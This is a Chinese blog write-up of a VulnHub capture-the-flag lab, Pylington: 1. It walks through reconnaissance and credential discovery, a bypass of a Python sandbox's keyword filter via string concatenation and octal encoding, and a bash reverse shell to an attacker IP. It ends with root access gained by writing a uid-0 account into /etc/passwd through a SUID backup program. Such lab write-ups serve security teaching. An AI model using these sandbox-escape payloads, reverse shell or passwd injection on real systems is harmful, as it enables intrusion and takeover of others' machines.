• vulnhub靶场之PYLINGTON: 1


    准备:

    攻击机:虚拟机kali、本机win10。

    靶机:Pylington: 1,下载地址:https://download.vulnhub.com/pylington/pylington.ova,下载后直接vbox打开即可。

    知识点:敏感文件发现和利用、python代码执行、shell反弹、python代码过滤绕过。

    一:信息收集

    1.nmap扫描

    使用nmap扫描下靶机地址,命令:nmap -sn 192.168.5.0/24,发现靶机地址:192.168.5.76。

    使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.76,显示开放了22端口、80端口,开启了ssh服务、http服务。

    2.目录扫描

    使用gobuster进行目录扫描,命令:gobuster dir -u http://192.168.5.73 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现robots.txt文件。

    3.web信息

    访问web服务时查看了下源代码信息,但是未发现有用信息,然后想着注册账户登录,但是告诉我们无法注册新用户,只能已经存在得账户才可以登录。

    访问下目录扫描时发现的robots.txt文件,发现新的目录信息:/zbir7mn240soxhicso2z。

    访问新发现的目录,返回页面信息中存在账户和密码信息:steve/bvbkukHAeVxtjjVH。

    二:获取shell

    利用获得账户和密码信息:steve/bvbkukHAeVxtjjVH登录系统,发现可以执行python代码和一个指向链接,访问该链接跳转到了:http://192.168.5.76/noimportos_sandbox.py,并给我们提示,告诉我们不要输入:import、os、open命令。

    测试了以下import命令,发现会被检测并返回:H4CK3R AL3R7!!! Malicious program detected by the sandbox。尝试绕过对关键字符串的限制,使用拼接法进行测试,payload:exec('print("imp"+"ort")'),成功绕过限制输出import。

    开始构造shell反弹语句,使用exec执行我们构造得shell反弹语句成功获得shell权限。

    #原来语句
    import os
    os.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1')
    
    #绕过限制后得语句,注意有个双引号,不然会引起歧义无法执行
    'imp'+'ort o'+'s'
    'o'+"s.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1')"
    
    #执行语句
    exec('imp'+'ort o'+'s')
    exec('o'+"s.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1')")

    或者通过脚本进行进制转生成可执行的字符串也行,如下可以获得返回的id信息,两种绕过方式均可以。

    oct_result= ''
    strings = 'import os'
    for string in strings:
        one_char = ord(string)
        oct_result = oct_result + str(oct(one_char).replace('0o','\\'))
    print(oct_result)
    #import os结果
    \151\155\160\157\162\164\40\157\163
    #os.system('id')结果
    \157\163\56\163\171\163\164\145\155\50\47\151\144\47\51

    三:提权

    1.提权至py

    尝试使用sudo -l来查找下特殊命令,但是告诉我们sudo需要密码。

    使用命令:find / -perm -4000 -type f 2>/dev/null来查找下具有特殊权限的文件,发现/home/py/typing文件。

     进入/home/py目录下发现user.txt、typing.cc、typing文件,并对对typing.c文件具有读取权限,对typing文件具有执行权限。

     查看typing.cc文件得源码信息,发现该程序可以告诉我们密码信息。

    执行typing文件,并按要求输入line得值,成功获得密码信息:54ezhCGaJV。

     利用获得密码信息:54ezhCGaJV尝试切换到py账户,su py。成功切换到py账户并读取/home/py目录下的user.txt文件,成功获得flag值。

    2.提权至root

    尝试使用sudo命令,但是被限制了。想想也是密码都给你了咋会让你使用sudo。

    那就继续使用命令:find / -perm -4000 -type f 2>/dev/null来查找下具有特殊权限的文件,发现:/home/py/secret_stuff/backup文件。

    进入/home/py/secret_stuff目录发现了backup得源码文件:backup.cc,访问backup.cc文件发现我们可以随意将一些信息备份到以/srv/backups/目录开头得文件中,因此想到直接向/etc/passwd文件中写入具有root权限的账户。

    我们可以直接查看下kali中的密码信息然后写入到靶机中或者使用openssl创建密码:openssl passwd -1 -salt upfine upfine,我这里直接使用本机kali的密码:$y$j9T$lR7REZ4XgU56yXNl9PFiN/$oI3B/OeQGXOoTb7opQ.azBMOgG2IM0neRj4MN3HCqQ.,可以在/etc/shadow文件查看,然后查看靶机中的root权限信息,命令cat /etc/passwd,发现其权限信息为:root:x:0:0::/root:/bin/bash,因此我们构造payload:upfine:$y$j9T$lR7REZ4XgU56yXNl9PFiN/$oI3B/OeQGXOoTb7opQ.azBMOgG2IM0neRj4MN3HCqQ.:0:0::/root:/bin/bash,将payload写入到/etc/passwd问价即可。

    尝试切换到我们添加的upfine账户,su upfine,成功切换到upfine账户并且该账户具有root权限。

    获得root权限后在/root目录发现root.txt文件,读取该文件成功获得flag值。



    如果您觉得阅读本文对您有帮助,请点一下“推荐”按钮,您的“推荐”将是我最大的写作动力!欢迎各位转载,但是未经作者本人同意,转载文章之后必须在文章页面明显位置给出作者和原文连接,否则保留追究法律责任的权利。
  • 相关阅读:
    xss一些笔记
    使用 HTTP PUT, PATCH 以及 MERGE 请求消费 SAP ABAP OData 服务修改操作的实现及其区别试读版
    C语言练习之求第n个斐波那契数
    Linux系统换源
    图论(五)-最短路
    ModStartCMS v7.4.0 公共图片库支持,安全功能升级
    AMCL代码详解(三)创建粒子模型
    二十五、DSL查询文档(全文检索查询、精确查询、地理查询、复合查询)
    我佛了,我今天才搞懂ROC和AUC
    MKcms漏洞合集
  • 原文地址:https://www.cnblogs.com/upfine/p/17211842.html